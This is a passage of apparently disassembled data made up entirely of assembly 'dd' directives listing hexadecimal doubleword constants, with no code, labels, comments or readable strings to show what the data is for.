		dd 2383D8C0h, 0EA6ABB00h, 74A0881Ah, 0F9901E3h,	61C9B347h
		dd 80E8D3CDh, 70BD957Dh, 9090F8h, 23F57CFEh, 933409BCh
		dd 846C4313h, 91BA6280h, 0E24E39E7h, 17812C00h,	5AF67F01h
		dd 73D4A58h, 9F16668Bh,	0A54828B0h, 0F25E02D7h,	208C21A3h
		dd 0A68B59C4h, 0C6574AA1h, 83B99248h, 94EFDD48h, 805D7066h
		dd 1290012Ah, 0FE1F2726h, 33E18647h, 0D8603D99h, 8E5600D0h
		dd 6DB1769h, 0E0607AF1h, 0CD116B12h, 8A7B13B7h,	100C40FCh
		dd 9A34B292h, 15A7E730h, 0FE759F90h, 0DEDD00F4h, 275AECB6h
		dd 717F2E67h, 3FFBA900h, 3E06769Bh, 2612FAA1h, 0BF266Dh
		dd 43D155C7h, 0B7031FA9h, 0EBABDE5Eh, 25380020h, 7B2EB37Fh
		dd 0D31C65E2h, 21584839h, 432311Ch, 63192745h, 9EC4EE1Bh
		dd 4BE25EC1h, 77BB20BFh, 4DEBA600h, 75C95F15h, 0DDB35926h
		dd 50FA6200h, 602F6F22h, 0C3E1C0D8h, 2600802Dh,	8D08788Fh
		dd 0F22C810h, 2948E2D6h, 7B5673E0h, 7D3A0F84h, 66673004h
		dd 80168Ch, 90BA22BCh, 0EDB0AE6h, 682A23Ah, 0FC710329h
		dd 2557006Eh, 4B6FCBD9h, 12B8E1A1h, 0B9850700h,	3B49952Bh
		dd 4F5903A5h, 66BCFCB5h, 11545C24h, 6F233604h, 68193281h
		dd 0CC7950EFh, 3D80B24h, 28215CFDh, 0C43ED37Dh,	87EA11ACh
		dd 8CBF4600h, 0DA2B47B3h, 83A53A0Dh, 0F821C03h,	4800768Fh
		dd 0E3D72381h, 19872E4Eh, 0F29ABF27h, 2301C759h, 9501E9BBh
		dd 9EDCF480h, 463F007h,	5C7852ECh, 91489094h, 0BF1E5E7Eh
		dd 1980E075h, 0FEBEF38Dh, 1644C072h, 0DA70A48Ch, 0B0181D9Ah
		dd 0CAC056F8h, 0E87C34h, 18C4C21Eh, 0DDAC84F6h,	9C0C1739h
		dd 474BE6C0h, 622208Dh,	71C3B95Eh, 0FE0B3DCEh, 15C4697h
		dd 793968B0h, 9B14800Ch, 1BBF7B09h, 9EB100F1h, 0EAF448DEh
		dd 0F91C5553h, 72584E43h, 0DCC62Ah, 0D4A14149h,	0FF3D0628h
		dd 0CF5D3100h, 0DAA2B763h, 0A54F040Ah, 0C02AC004h, 333027CFh
		dd 5FDD3404h, 96C792CEh, 41EB45C0h, 1AEF0037h, 83FE881Fh
		dd 57139F50h, 5B1E6677h, 52E47341h, 33D52EB8h, 6815F8h
		dd 0B736C7DDh, 0D09A8C9Ch, 0AD5C941Eh, 6F697380h, 9007DFC5h
		dd 2E009218h, 89BE1E58h, 78083F9h, 5BA538C9h, 44B47501h
		dd 3DDF09B0h, 4A2E002Ch, 7850973h, 0BA504203h, 1D947C00h
		dd 0EB555A9Dh, 0C52D1C77h, 70F5C0A9h, 0EEE8A1E7h, 2263B0FCh
		dd 39603C5h, 6970D2Ah, 64EB8B35h, 2E42AED8h, 36D7F91Ah
		dd 749E0098h, 1841AA8h,	0D3AD4FE9h, 2C0C5C73h, 54E6017Ah
		dd 0ED3C3BD2h, 0C623760h, 4A4D7FBBh, 0FF900FDCh, 5B77CF04h
		dd 2C80C4B4h, 387FC745h, 669DBE53h, 69B5C56Ah, 6F14C16Dh
		dd 0FC882163h, 0A916D367h, 0D7B15E55h, 0F5A4AD3Fh, 0BD8A29F0h
		dd 9962BCD4h, 3CE2F92Bh, 0EBC74C03h, 30F15B07h,	9CBC2B39h
		dd 468F53A0h, 348B0816h, 3BBD95FCh, 0E9F0E5BDh,	37B8ABC2h
		dd 9B4DDD0Fh, 833760BDh, 0EDBE0DC1h, 0B8C2F0CBh, 0A2CF6099h
		dd 0E0FFC503h, 0A5D4F800h, 0D51C3D58h, 0B161007Eh, 56EA4F32h
		dd 0AF0A64ACh, 0E6141D18h, 362B2000h, 160652Ch,	25CBDA6h
		dd 0C30A1B70h, 40E4ECD0h, 0AC612912h, 0FA419900h, 5A426Fh
		dd 338C2A6Dh, 0C79A4AD6h, 8B1ED200h, 0D91F704Ch, 5E420023h
		dd 6D562B0Fh, 0B03696Fh, 63C8EE26h, 0E368D86Bh,	92481F44h
		dd 0B2A380F0h, 0EFAD304Ah, 0B67C6209h, 77FA0096h, 1C23CEECh
		dd 1BE4DAh, 65201C9Bh, 20BD11E8h, 0C6B49F07h, 0AA100E2h
		dd 0CEDF62F5h, 1A0BE488h, 85BC9704h, 0AC80B2F8h, 0C064BEC3h
		dd 79C48036h, 0F7CF633h, 0A04D066Eh, 1B17D6D8h,	34FF0657h
		dd 1D05E81Eh, 0CFCE9C03h, 1664BD0h, 5AF47E28h, 40E9605Fh
		dd 0B00ABA12h, 8B66BFA0h, 8161F000h, 140407F7h,	0EFC6305h
		dd 74E0E00Eh, 37C00BE9h, 0DA41B950h, 2CBE0245h,	729D8C1Bh
		dd 19BA1E40h, 0F28F27Ah, 0E8507884h, 0CC069957h, 0BE3F0482h
		dd 4CCA0194h, 0E8575AD1h, 3425800Eh, 0ACC55E69h, 0D30C001Bh
		dd 0CA9BE4E7h, 8A2D76FDh, 334BC0E3h, 0A88300Fh,	0D4BF6035h
		dd 2D7F941Fh, 61C6183Bh, 0C83CA08h, 7E902EEh, 5902C72Bh
		dd 8FA362D1h, 9A463C6h,	9C48FEE4h, 45202855h, 0E9C94230h
		dd 6111C32Eh, 0AD900646h
		dd 0C3AC603Bh, 0BD086ECh, 0DCF504D4h, 40AFE961h, 718F6408h
		dd 6C002BA2h, 5FE8925Eh, 0BCCB066h, 5DE26A0Bh, 7B91DB00h
		dd 0E4E44FA2h, 0FEEAE107h, 1187AB82h, 2C0A987h,	0C7B6CD78h
		dd 80B9A208h, 117F60F8h, 21CE1AB8h, 82C8834Ch, 22110179h
		dd 2968FD8Dh, 811C4547h, 8063CDA1h, 37C0CF11h, 800AC293h
		dd 4B08B44Fh, 961E2668h, 5C4C0382h, 1038638Fh, 85628402h
		dd 4926652Bh, 881C5B40h, 0A574F982h, 270450A4h,	98830B03h
		dd 33C2805Fh, 0D244CD68h, 636776B8h, 0B4417608h, 4FECA37Bh
		dd 8120DD53h, 0DBC2E8A4h, 0D7108041h, 0F3A1BF03h, 4325070Ch
		dd 4097CEEEh, 0F2F878FBh, 0AB831800h, 7CBF8FDAh, 790A0F26h
		dd 0A604C6D5h, 0C83069Ah, 0BC570389h, 0AE3BF7A8h, 94D280ADh
		dd 6E1E09ABh, 3000ADA6h, 677BAFB0h, 1E04E8A7h, 0D0864Fh
		dd 8BCBF5Ah, 0BA3A8236h, 0CD007D02h, 0B5A04903h, 0F6935928h
		dd 0BD4D1D11h, 0A24740D6h, 9549F4B0h, 37F5AF03h, 0DD09B1A6h
		dd 78273828h, 0E9B87834h, 228C184Ah, 1A78BE08h,	69B0A060h
		dd 0F7ABB7h, 2802B853h,	22ADBC34h, 0D24F5000h, 0D1A033F5h
		dd 1567816h, 0B34DF3CFh, 40A229CBh, 17DF9C68h, 0B26A93F0h
		dd 4A31C39h, 48D12BE2h,	1529E35Ch, 0C88C5D3Eh, 38D48E02h
		dd 40280Ah, 0CF4095D9h,	30A56503h, 7FC0CF8h, 5278B419h
		dd 833F228h, 18747A48h,	3642E697h, 50527960h, 12792C78h
		dd 11F52E18h, 368D0CA0h, 0FD0C1D88h, 0D30B8F7h,	59B5E694h
		dd 8537A090h, 70C629EEh, 0AA9F1240h, 7874437Ah,	590A4A18h
		dd 78EF0EB9h, 6714F5A4h, 0DFF22158h, 0C8EF1A90h, 37E477E7h
		dd 0BEC0DE3Ah, 602B6939h, 495C78A2h, 0ED06CC6Ch, 28E4B201h
		dd 2F4DC007h, 0F4B402Dh, 91219F38h, 0EA2F04AFh,	0B8C05DBFh
		dd 352A48Dh, 27A50DC6h,	1904B80Ah, 58266902h, 67D8FC90h
		dd 0B09C4CF6h, 93E7E503h, 0C0A1648Bh, 780C4347h, 3415C3D9h
		dd 0DE509514h, 0DBE02758h, 64A7E229h, 0A4111FD1h, 8AF03042h
		dd 0BC048CAAh, 0B808243Ah, 3A7425Bh, 0D60180C8h, 4C19A161h
		dd 0F84C9743h, 62E0A252h, 835C4170h, 37482009h,	0C5401B8Bh
		dd 68F9C179h, 5B8C4C53h, 1E4358Ah, 2D1B4DAEh, 647C32C2h
		dd 9026B198h, 4A161042h, 4CF8414Eh, 0BCD77E98h,	0DAA69418h
		dd 0E028CD88h, 6442AC31h, 98621254h, 403A9413h,	0E1E0D49Ah
		dd 831AE212h, 28AE0C22h, 0A3BD5180h, 0E10A0C99h, 451C8C7Bh
		dd 4E22C3Fh, 116729FEh,	0D97BE88h, 0F48410A6h, 1041E21h
		dd 4058B1B6h, 60924D23h, 5709BE12h, 256F2832h, 72807279h
		dd 0C20CA0A8h, 8C808EBEh, 8BAFE71Bh, 42F60C99h,	0A804A5DDh
		dd 16329AC6h, 3B518028h, 170C99A3h, 3B561F47h, 23AA9C49h
		dd 0EB43D49Bh, 9F4FB164h, 624121A0h, 1441E26Dh,	9AA11268h
		dd 2574C4D8h, 0DC0AD026h, 5CB8F850h, 0B8158A8Fh, 49C43EE4h
		dd 81DFA8A6h, 7959CD0Ch, 0D8885204h, 6C92816Fh,	4CAA2F58h
		dd 0B5512C4Dh, 46CAF81Ah, 3905F85Ch, 10601288h,	85444A2Ah
		dd 78F18724h, 9176FE0Fh, 0A014DA14h, 0CC08DC51h, 962912A6h
		dd 918400E8h, 7DA286AAh, 0CAC49250h, 0EE88FE7Ch, 29E380ACh
		dd 3C23A891h, 0B91C7202h, 0E88A3CFDh, 92373C38h, 2A8FB77Fh
		dd 753C8ED8h, 0E2662313h, 381EEC2h, 0A6C8808Dh,	90075E49h
		dd 4F6924CBh, 0E0701F83h, 7C5B22DDh, 0A2272895h, 0DE9D3E14h
		dd 4826717h, 0E426E224h, 0C007B67Ch, 343170B0h,	39B0B809h
		dd 69F4A146h, 1BB320C6h, 0D83B5728h, 43931242h,	8AC6014h
		dd 4CD6A3Bh, 114D0DEh, 13A610A3h, 44C87430h, 9B14F45Dh
		dd 0F120DD9Fh, 481813E1h, 153D80Fh, 0BB96012Fh,	83451CDh
		dd 9E3F00C4h, 5E0F911Ch, 0A900E714h, 65AF3775h,	2951FBE1h
		dd 82D4A15Ah, 0A6833B80h, 0BDBEBC48h, 52BF9005h, 88400B26h
		dd 53EEF56h, 8BD20185h,	86279583h, 5215DC43h, 93089160h
		dd 8013A47Eh, 5C011AA2h, 2F4B1197h, 0A0F3A514h,	19B2A84Fh
		dd 41940D6Fh, 19C098D9h, 0FFF7F221h, 16B0F0A8h,	462B654Dh
		dd 183D46A8h, 0A768E0ECh, 521D80A9h, 9337D502h,	3AC46483h
		dd 3901B04Ch, 2B5FE35Ch, 4829CAh, 7A3D3E59h, 233370h, 0C779977Dh
		dd 2BA4AC5Dh, 0CA6BFC00h, 0FDDF5C54h, 0D3617DD6h, 1FC41280h
		dd 0E274A68h, 1DE28A88h, 178B0CABh, 0D1CC83C8h,	1CCC211Bh
		dd 1FE715h, 83314137h, 0FE2819E2h, 0A702B8EDh, 3C5B7EB0h
		dd 3200FDA9h, 5186678Ch, 92C30D00h, 9EF344A5h, 0C29F124Eh
		dd 23C0480h, 2844C0A7h,	0D1C040CAh, 5AA4DA6Fh, 47CE1CC6h
		dd 5209F3A6h, 0D28F2118h, 148B72DAh, 68411DEEh,	0BDECA802h
		dd 0CCC00DB9h, 644D2A90h, 5F581C54h, 5EE2A600h,	66FB0E63h
		dd 21530866h, 1E572538h, 0E740375Ah, 0F493FBE4h, 0F94A0C5Dh
		dd 16E1F392h, 879A2812h, 5FCA0C06h, 7CFC0191h, 0B1FF4345h
		dd 1B10C472h, 0D2E4600h, 0AFBB1298h, 201D48A3h,	0C52BD814h
		dd 5A12F33Ch, 802C1396h, 24F277ECh, 0E1ECBA0Eh,	4824802h
		dd 0C0DD3767h, 9FD3ED7Ch, 0D550D274h, 86505FD0h, 3E8C159Ch
		dd 0C691A4A5h, 806A88A6h, 7A4DD80h, 7609856Fh, 80050A4Ch
		dd 0BE954715h, 0A46C50C9h, 0A91F00A3h, 3FC8EBFAh, 0C210933Bh
		dd 0DA0165A1h, 2BAFF51Bh, 349C506Dh, 6400AB89h,	0A30AE33Ch
		dd 18AE5CFFh, 0D82D2B3Fh, 9E7211ECh, 0B0C26490h, 22512A69h
		dd 2C481026h, 0A0000F55h, 87FE4DBBh, 1862A721h,	40F80BADh
		dd 0D8831B2Eh, 900A9D39h, 0BAF830h, 2D440ECEh, 226BD962h
		dd 0DE33100h, 6E7F70A7h, 58618A81h, 40CF3041h, 4A0137F8h
		dd 0FD6D7B1Eh, 81801727h, 16E3B0EBh, 0DD7FD196h, 0A12A0600h
		dd 88B8A898h, 1FAECB3h,	20F163A6h, 0CD1145B9h, 3ED042BBh
		dd 4B948322h, 4AD490D4h, 0B5CC0739h, 63D9D1F1h,	0ED823CA6h
		dd 50D6B482h, 0C6CAE480h, 520747E6h, 64A983A5h,	0FC85A134h
		dd 10BC1811h, 1F7D7A6Dh, 80F30975h, 51CE5A64h, 0B7E62D81h
		dd 0F7F92B09h, 48B40D8Bh, 24205830h, 1E887BB5h,	402C66D2h
		dd 134D9782h, 0EE192D7Ah, 9F092567h, 4062219Dh,	0D5B19C4Dh
		dd 0C7047A05h, 22688D1Ah, 0F27A242h, 0E4B47CDAh, 481474A4h
		dd 0AEE519C8h, 14109570h, 1700E15Dh, 63C9863Fh,	0D70C26h
		dd 0C8FFA299h, 41A50F40h, 0A94C94FEh, 0E61184BCh, 505384D8h
		dd 4982E0ECh, 80183869h, 424B21A8h, 6F15301h, 5C75956Eh
		dd 9F121832h, 0D8B403DCh, 0A9E96858h, 0AF0880DAh, 59A39A44h
		dd 2669281Ch, 0C4AE486Ch, 55D85A09h, 1362005h, 0DBD28DA0h
		dd 0B4D03047h, 45606474h, 39128A31h, 88F42C8Ch,	0C182D30h
		dd 0D80042B8h, 95FA0104h, 13521A61h, 49ECA090h,	14108038h
		dd 143CAF3Fh, 0F9A28F2Eh, 585C01Dh, 0B1C42Ah, 386AE432h
		dd 0D840AD96h, 91830218h, 76739h, 0D38A6C85h, 0F6BF496Fh
		dd 7B7F1414h, 54D88580h, 8C45881h, 0E70B9984h, 1128A035h
		dd 92CAEA00h, 0D69544CFh, 18626981h, 5E1C8C84h,	0CB69AB07h
		dd 0F3BA2510h, 73CF00FBh, 0F7782CBBh, 0E2007791h, 0A995639Eh
		dd 59FFF22Dh, 0AB317062h, 695B10h, 542968C2h, 0F8CE908Fh
		dd 48B0FCD9h, 4D0F1CC3h, 9E890DDBh, 0C05DD4B1h,	6E46E2A4h
		dd 3B385F22h, 0AB120055h, 542F2C5Ah, 7623F275h,	0DBDA2C98h
		dd 832B8DB4h, 54D64731h, 0D8A8C0E3h, 4EF07A5Ah,	0F028309Ch
		dd 2618B209h, 0B08F08DBh, 467E9D80h, 39F444DEh,	9A8F4B50h
		dd 1000DAD4h
		dd 0F0BCB480h, 8340B4Ah, 4D74EA00h, 0F46D089Eh,	6790305Ch
		dd 0A6FD0681h, 76FA8000h, 212F3863h, 205CB045h,	0CA5F798Dh
		dd 1A085C40h, 1362368Ch, 40613E66h, 0A0AA430Ch,	0A662F878h
		dd 0FA885C71h, 0D7ED004Ch, 626A409Fh, 1D5DDF58h, 0F03A932Ch
		dd 8091F23h, 0A544803Ah, 9528A95h, 5D69739Fh, 0CE9358A2h
		dd 83022C44h, 5F110FA5h, 0C01CC35Ch, 13D869BAh,	1722E9Fh
		dd 5201EFC0h, 41B983B0h, 64EFD70h, 267FD8F1h, 790B289Eh
		dd 102A9FC6h, 7878722Ch, 0AA460257h, 686B30B1h,	344398C2h
		dd 9D632AD6h, 12E2ED38h, 0CAAE4E70h, 62BF12BCh,	809D489Ch
		dd 0F724E2ECh, 8B823C11h, 446FB9E6h, 93FF2090h,	5F940109h
		dd 418C4E97h, 11200F19h, 0C4909758h, 19048C7Ah,	0F78BADE7h
		dd 0C8201A62h, 0E2A4E711h, 5891043Fh, 0B073A37Bh, 0F272E17h
		dd 70D8202Bh, 0ECEE04B1h, 0FA8E810h, 4E7D4611h,	8B62FDC0h
		dd 4464F5D6h, 4B25D98h,	77D2200h, 0ABAA6EE5h, 4543CE0Ch
		dd 25BD5030h, 0D407685Ch, 754E4F2h, 0A824A01h, 790870E0h
		dd 0D6ECA4h, 29B4FAB8h,	4EADA8D1h, 95BE4718h, 72E4FB68h
		dd 4BA95CEAh, 73CB7A00h, 52DB3CCEh, 69118D02h, 54DD05E3h
		dd 835C62DCh, 18006C44h, 1103DC45h, 6307F22Fh, 0E4DA7859h
		dd 482A41A1h, 0BB3A8A80h, 0B2B08704h, 95E0996Dh, 2A98FE2Dh
		dd 14F70Dh, 825B1C49h, 4BCA859Ah, 562953Ch, 0F5A69CC8h
		dd 7D4DCC81h, 0AC409440h, 2F2200CBh, 0A58C8E3Fh, 0FC008F5Ch
		dd 0EC024CA3h, 90FFDEF9h, 0B3BE1E68h, 2C1640B8h, 5C3255A0h
		dd 18F5C800h, 9976714Dh, 17CD0036h, 6B42631Fh, 0A139ADF9h
		dd 94C581F6h, 0C3BB1683h, 7C1BB5F8h, 247B00A6h,	7C8D5FF2h
		dd 23E7501h, 28F93003h,	2356B8h, 0DE799AFAh, 6B6F3DCCh
		dd 97D3AC01h, 0ECCF5C38h, 5880F300h, 6CD48400h,	54CC6A05h
		dd 0F2B9013Eh, 0A33AB408h, 0DB95D83Fh, 0EEE1750Ch, 4A0E8h
		dd 661C79Bh, 0E6C9F7C5h, 6A18E360h, 3099753Bh, 1610C602h
		dd 4D1C2AF4h, 0E040C496h, 13013937h, 73641E0Ah,	4479FCE1h
		dd 240EAD1Fh, 83575C80h, 0C09B7BCFh, 0E607F13Fh, 26B1C0DBh
		dd 2273BC75h, 0DA87400Ch, 54F44Fh, 42AE482h, 0EEA5E5ABh
		dd 6836790Eh, 80F58EE8h, 1ECC42E9h, 49263BF8h, 0FE87FB07h
		dd 0E589C0E6h, 88073AA1h, 0BCEEBDDFh, 8FF3AE20h, 8F46F937h
		dd 6911C328h, 0BDE088F5h, 0E90085FFh, 0D0893AAFh, 0BCFEA1h
		dd 0FD0415E0h, 84EE57E4h, 8CF02CF4h, 8EF6E578h,	9469F206h
		dd 8DB8521Ch, 0F0C07D04h, 90FD2D07h, 962B05B4h,	2CBACFAAh
		dd 6B6F2E18h, 0EABBE011h, 12773E0h, 0F75CAFFFh,	0EDDB3B7Eh
		dd 0C91980E8h, 5D578001h, 0EDA5068Fh, 40DB9ADDh, 25023Ch
		dd 6FD32E4Eh, 943657h, 787CAEA1h, 46043A03h, 280092FEh
		dd 874A99CBh, 0EC261CA5h, 0EDE30731h, 0CB3B4703h, 0BCFB0100h
		dd 5003CB5h, 10F25C3Ah,	588048E7h, 19601D1Ch, 1BD05D02h
		dd 851370C0h, 0C1EEAD49h, 0AF578681h, 50D9875Ah, 9EAEE81Eh
		dd 0F8B1DA1Fh, 0C08FB092h, 7CF53EC6h, 8CAEEF00h, 0A560B602h
		dd 0D9C4838Dh, 10482620h, 3B7F0682h, 86824D7h, 5F87848Dh
		dd 1CC0508h, 99CAC6BCh,	0C9BC5038h, 723711D1h, 0B6C24069h
		dd 79C084Dh, 0DC4EA135h, 0B1C18A78h, 0FA7B9852h, 11DB8C5Ch
		dd 0E3E4110Bh, 9E8005CBh, 9550BD5h, 107288h, 0C606C3F4h
		dd 2E3FA5B5h, 31F869h, 936468DFh, 60895B8Eh, 9C57AC19h
		dd 48419B21h, 0DFE01DA5h, 122893DBh, 0C6642B47h, 0F08A417h
		dd 47D605C9h, 8926AE80h, 1E00A2FDh, 6838C206h, 0E9A5DAh
		dd 0EB2CE2BCh, 57BDE59Bh, 63E9E3F0h, 0E1FE0178h, 0E989E8E6h
		dd 37F05461h, 6F95005Bh, 78F5A232h, 0B70AA8E1h,	44FB4821h
		dd 0B1CDB260h, 0ECF50A7Bh, 0C004BF8Fh, 0BAFD8E21h, 400CFE53h
		dd 0F31FCC08h, 5322DAFFh, 43143086h, 9D8F089Fh,	876F1888h
		dd 0BC21F5Ah, 90A097DBh, 9C731D8h, 1048A437h, 6808A619h
		dd 0A4C59DBh, 0D130A433h, 5F3194E3h, 315DB348h,	4D097119h
		dd 191049D9h, 4CAF108h,	22C77004h, 9CB7B709h, 32C75EC1h
		dd 565A0C48h, 50408C3Ah, 63991943h, 0BB1D281Eh,	1F09E431h
		dd 19911848h, 3B443A22h, 12258924h, 48272426h, 22219120h
		dd 2C234422h, 2E122D89h, 284F2F24h, 6C828F80h, 8E0C88F0h
		dd 0C95AEA0Ah, 0B8D96586h, 3B842C9Ch, 55D604A5h, 0A6400850h
		dd 3EFF21Dh, 9DA91CDDh,	80E36CDBh, 0E000ADE3h, 871F5B21h
		dd 3AE71DDCh, 0D91EE3EFh, 0C13AFC9Dh, 0C93C533Eh, 0ED14064h
		dd 8D20B0A9h, 3F5B4200h, 551D5187h, 6B334A16h, 443FF48h
		dd 0DEC9AAFFh, 0BF808859h, 0CB076E8Ah, 0F0F4458Ch, 38A586D2h
		dd 11FD1158h, 377078Eh,	58FEC56h, 6C09226Dh, 4171882h
		dd 0C0CF5DF5h, 9EC3B37Ch, 3C8F03D3h, 57993E98h,	0DB4A211Ch
		dd 563869h, 6B9EDC29h, 18DED91Ah, 0D130B07Ch, 0F466189Ah
		dd 4B920159h, 0C928EF86h, 311C4381h, 0D30E2FE0h, 0E7FFFB0Ah
		dd 824528DEh, 0C5E470EAh, 5D631E58h, 1212E41h, 0D1FE3531h
		dd 0D484F9AFh, 4E7C51BBh, 89F8A80Fh, 79F200DCh,	78DAA3E3h
		dd 0E8570143h, 0ED2CE1FFh, 14B9DE82h, 0A2EBE0FCh, 0AED330C0h
		dd 0E0ABF5h, 5679FE57h,	0E484E9A8h, 83FF1F00h, 1C28A1E3h
		dd 0BC7E27h, 3586D38Eh,	292BDD78h, 0FC2C18C0h, 0EA5CC83h
		dd 0BDD38F54h, 2801809Bh, 0E32AFE9Bh, 0F9D0D080h, 2BEE0188h
		dd 57E643A4h, 1831BDFDh, 0D159D089h, 0CEA5369h,	351DA842h
		dd 0F9A18EFFh, 0EB2CE7C1h, 0EE884088h, 6853E485h, 969F07DCh
		dd 3A07A6F9h, 3D98D581h, 17FE850h, 5DB6129Dh, 0BC10578Fh
		dd 617FA090h, 5B740FD9h, 3F073E48h, 0D098572Ch,	0D32E0186h
		dd 0D2DEA11Dh, 803A058Fh, 3851D0Ah, 149C036Ch, 3599D5FDh
		dd 17FF7100h, 1A42C23Ah, 5A1F4041h, 0C80C5374h,	2843B75Eh
		dd 47D23A7Bh, 0DDE230Ch, 0A6742EC9h, 1F4518A6h,	21E76890h
		dd 202E1221h, 63059D30h, 0D5C441BFh, 81C15988h,	31E4442h
		dd 48C51973h, 90083A40h, 9B060EA5h, 0DD1ACC9Eh,	0FB637359h
		dd 184B0481h, 59C35D79h, 0E1C0A825h, 0F3B4C937h, 5A240CD6h
		dd 9C20D8E1h, 36144FFAh, 23D0D323h, 0C448106Ch,	1960B5BDh
		dd 6E31AEA3h, 402F30A1h, 0D1D9B986h, 0C3776913h, 66B0290Ah
		dd 8391A48Fh, 595CC005h, 1DDC0C38h, 0C43DDFF1h,	723161D1h
		dd 188A408Bh, 0A4C991Fh, 2058851Ch, 0B71B2284h,	0B6BB1D09h
		dd 5518066Ah, 49830CB9h, 431CFADh, 189DAB31h, 4C42D243h
		dd 0E858A859h, 0FB912798h, 0A04124BCh, 2782928h, 99C934DCh
		dd 0D91DA490h, 9B4E6485h, 0BEB86274h, 0E74216FEh, 0AC860710h
		dd 19238626h, 0AD0205D3h, 1F2808E9h, 397C0857h,	91A85791h
		dd 1A8ACF42h, 0A86F1150h, 9C9142EDh, 0A7462828h, 0A2E8DA1h
		dd 0BF111621h, 0A14249A8h, 0F7443B88h, 1823516Ah, 21842E28h
		dd 69F8870Fh, 2E268CD5h, 10495CD9h, 8A3A986Ch, 0C1228C44h
		dd 0FBDB0CE9h, 0CB2140D5h, 0B1D1381Bh, 0FE407C61h, 2B554499h
		dd 0CB31CE06h, 4458F10Ah, 40A18D5Eh, 19789F41h,	4B3F4420h
		dd 99CACE09h, 46A4A670h, 32982910h, 85DE884Ch, 0BC9B0784h
		dd 23B298C2h, 99151EA3h, 803C3C05h, 0DE2D1384h,	0E411C1C9h
		dd 22AEA169h, 0B22E12E8h, 9325DC32h, 0F54909A8h, 6890A3DBh
		dd 0B7489227h, 9C88F7A4h, 8A07C604h, 150110F6h,	25D8C5Bh
		dd 24C9294Eh, 6076E0h
		dd 79EA8852h, 6199CBE8h, 0FB68F516h, 42CE40Fh, 80AA031Ch
		dd 89A1EE40h, 10E4790Bh, 7F80B51h, 0BDC06F5Ch, 74F088E8h
		dd 7FAA7ABAh, 7452FCBBh, 5809F840h, 0B132D8A6h,	0CE09540h
		dd 0FA2E81FDh, 57152469h, 8EFF0340h, 0C0F9A5B1h, 0F99E8715h
		dd 0F0EEA1F8h, 0C130A4F3h, 8FF5A398h, 0E01C4DFEh, 784054A6h
		dd 0E75F01DAh, 0E48EEE68h, 3F604DA2h, 0F5A0708Ah, 80B8FE8Eh
		dd 6D108F0Eh, 88CA8B94h, 83C01878h, 0FBA1E5h, 2E1ED082h
		dd 0C12C2448h, 2C578F2Bh, 63E45625h, 66E0104Fh,	0B35624F0h
		dd 5DA3E38h, 7B66A8F6h,	0FDF8B0C1h, 145DB2D1h, 52401Ch
		dd 0F64266B3h, 0F583564Fh, 0F05CBD74h, 38A94AB4h, 2E6AEC09h
		dd 405DC865h, 0CBF3F589h, 0F0619F03h, 0E1689588h, 0D3DCE9FAh
		dd 26EF7A15h, 123469FEh, 5DDC12F6h, 0FB8F0000h,	211CE9E1h
		dd 98602C24h, 0CC83E380h, 98F02E50h, 0AA51333Ch, 28C6EF08h
		dd 0D339A404h, 20CDE9B2h, 78666C40h, 0ECA524E4h, 602B09ECh
		dd 286B7430h, 0C5914269h, 1342D744h, 0E930405Ch, 0BCEE1D57h
		dd 49FE16F1h, 40313A90h, 0E65824A8h, 0DA8EFE07h, 2940FD10h
		dd 98808AE7h, 79E91ED0h, 58571F2Ah, 0EE8F40EBh,	0D095C098h
		dd 88FB0FCCh, 89CE1E37h, 212AF8Fh, 0FDB7848Ch, 82F3B040h
		dd 0E82BDA01h, 0EB2AF28Eh, 0B12B1CD1h, 55A040C4h, 2B78D385h
		dd 60DF8831h, 0AC21DA9Ah, 510158BEh, 0EEE6FE81h, 4408384h
		dd 0A111E495h, 3092D0FDh, 54B00E9Bh, 0BCEB3098h, 564A11F8h
		dd 57C01CF8h, 2CDC83E8h, 2981F916h, 94AF3CCFh, 16E7A0F8h
		dd 9537F0FDh, 0BC65B8F9h, 0F0966098h, 3EA67809h, 0ED123679h
		dd 9CB8748Eh, 9424EC18h, 8513F0E3h, 83541C03h, 40F5A2D3h
		dd 0E63A68E8h, 3085F9CDh, 87FC2AE4h, 8EEA837Ch,	0FDE8AFC0h
		dd 0B5A8E92Fh, 1396FD34h, 0D1190BEFh, 8459C404h, 0FEB4C2ACh
		dd 3726E4CEh, 0E0C50CBCh, 0E7899880h, 74DCB0BAh, 0E1CCF1FEh
		dd 0CAF2F1BBh, 40C46AA8h, 0C5A6361Ch, 85EB2C09h, 31E429C4h
		dd 0C038A6DCh, 0F3823D82h, 8320E188h, 1030EEC5h, 68E16F79h
		dd 0F9040793h, 0C82B4580h, 8F52F520h, 3C1FD22Ch, 2AD38030h
		dd 0F08E74F9h, 58D6E3h,	69E7FF20h, 82F989EAh, 824842B0h
		dd 40189A88h, 9747CC50h, 61D734B7h, 2E94B2F6h, 0FAB1BCF3h
		dd 8B184EE9h, 2AC820BFh, 29FEAA9Dh, 0DE68EE68h,	89BAF301h
		dd 0F82AEE84h, 5D68D860h, 5102648Ah, 0FFAFFE80h, 0F86618ABh
		dd 0BC509F50h, 9377151Dh, 0EA2D0105h, 84ED20D0h, 0FFA23EDAh
		dd 0C41EE113h, 96D0AC44h, 464B7827h, 9D863AD4h,	5441D202h
		dd 80E0DAAAh, 0A178E682h, 0BDD18800h, 0BCF285E8h, 790B856h
		dd 32658A46h, 502CC85Ah, 0A5DFAB06h, 0E2BA0321h, 0F9BDE588h
		dd 5457DAA0h, 0FF4B80BAh, 63A4C860h, 6F68C2E2h,	0E0E14203h
		dd 848045F2h, 8B342EE8h, 0FBF8825Fh, 0A150FB88h, 5F0B7668h
		dd 0EEE957E6h, 0F5640A90h, 0F0FE68h, 0FD6C9BE6h, 8E009FE7h
		dd 0BCE857E5h, 0C0F3AECFh, 0D394FF21h, 0EEEAF92Ch, 82F5A503h
		dd 2DFC2B37h, 0E090BB90h, 5717071Ch, 0F8D982FFh, 89F3104Bh
		dd 0E82CF2E0h, 6BE16F3Ah, 0E3B08B30h, 0D059A160h, 0DC001C21h
		dd 0B485FC10h, 0CE7900A0h, 0E3FDEA2Ah, 832751E8h, 0B9B80BE9h
		dd 0C45057E0h, 0A4FFE703h, 3256278Ch, 0A5DCF830h, 36785403h
		dd 7E83E877h, 0DC8F5088h, 3BC12EFh, 405C1968h, 0A380E356h
		dd 0EB4CFFF5h, 2787804h, 0D33CFDEEh, 49261EA1h,	50F1B0A8h
		dd 54AE37F0h, 46E49A17h, 0C329DCCCh, 0A1378128h, 38C81845h
		dd 4C58450Ch, 864B5EDCh, 0E5306058h, 30905A15h,	8CEAA6D4h
		dd 2944EB48h, 32A5F4FDh, 48F07A64h, 0F4E20D1h, 0EC80FB30h
